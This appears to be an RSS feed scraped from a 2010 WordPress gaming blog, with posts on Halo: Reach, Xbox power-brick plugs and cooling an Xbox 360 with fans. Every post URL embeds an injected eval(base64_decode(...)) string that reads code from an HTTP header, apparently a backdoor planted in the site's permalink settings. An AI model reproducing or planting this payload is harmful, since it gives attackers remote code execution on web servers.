Random Thoughts » XBOXin http://spectregadget.net Sometimes thinking, sometimes working, sometimes playing Sun, 05 Sep 2010 01:35:24 +0000 en hourly 1 http://wordpress.org/?v=3.0.1 Halo:Reach, almost within… oh never mind http://spectregadget.net/2010/09/03/154/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://spectregadget.net/2010/09/03/154/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Sat, 04 Sep 2010 02:35:07 +0000 SpectreGadget http://spectregadget.net/?p=154

]]> http://spectregadget.net/2010/09/03/154/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 XBOX Elite vs. XBOX Premium http://spectregadget.net/2007/04/29/xbox-elite-vs-xbox-premium/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://spectregadget.net/2007/04/29/xbox-elite-vs-xbox-premium/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Sun, 29 Apr 2007 20:26:04 +0000 SpectreGadget http://spectregadget.net/?p=10 Interesting thing about the new XBOX Elite.  The power brick changed from a three-prong plug to a two-prong plug.  Why would they make such a change?

 XBOX Power Brick Comparison

*** UPDATE *** 

I had to replace my XBOX Premium (I highly recommend SAMS’S Club!), and the new XBOX Premium came with a two-prong power supply also.  Curious….

]]> http://spectregadget.net/2007/04/29/xbox-elite-vs-xbox-premium/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 Cooling the Xbox 360 http://spectregadget.net/2007/04/22/cooling-the-xbox-360/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://spectregadget.net/2007/04/22/cooling-the-xbox-360/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Sun, 22 Apr 2007 17:48:53 +0000 SpectreGadget http://spectregadget.net/?p=7 So does anyone know the best way to cool a 360?  I’ve put mine inside my entertainment center with the power supply outside in the back and usually leave the glass door open while playing.  The 360 still locks up from time to time, and I’m assuming it’s from overheating.  I’ve decided to put a 120mm fan in the back of the entertainment center to pull out the hot air, but i still wonder if it’s going to work.  i guess i should put the 360 on the bottom of the two shelves.  Maybe run a lower fan to pull air in and the upper to expel the hot air?  Not sure if two fans would fight each other.  Another thought I had was to buy one of those laptop coolers to sit the unit on.  Would it be better sitting it vertically?  Let me know if you have any ideas.

In the meantime, here’s a template I drew up in CorelDRAW for the 120mm hole and mounting holes in case you need one. 120mm Fan Hole Template

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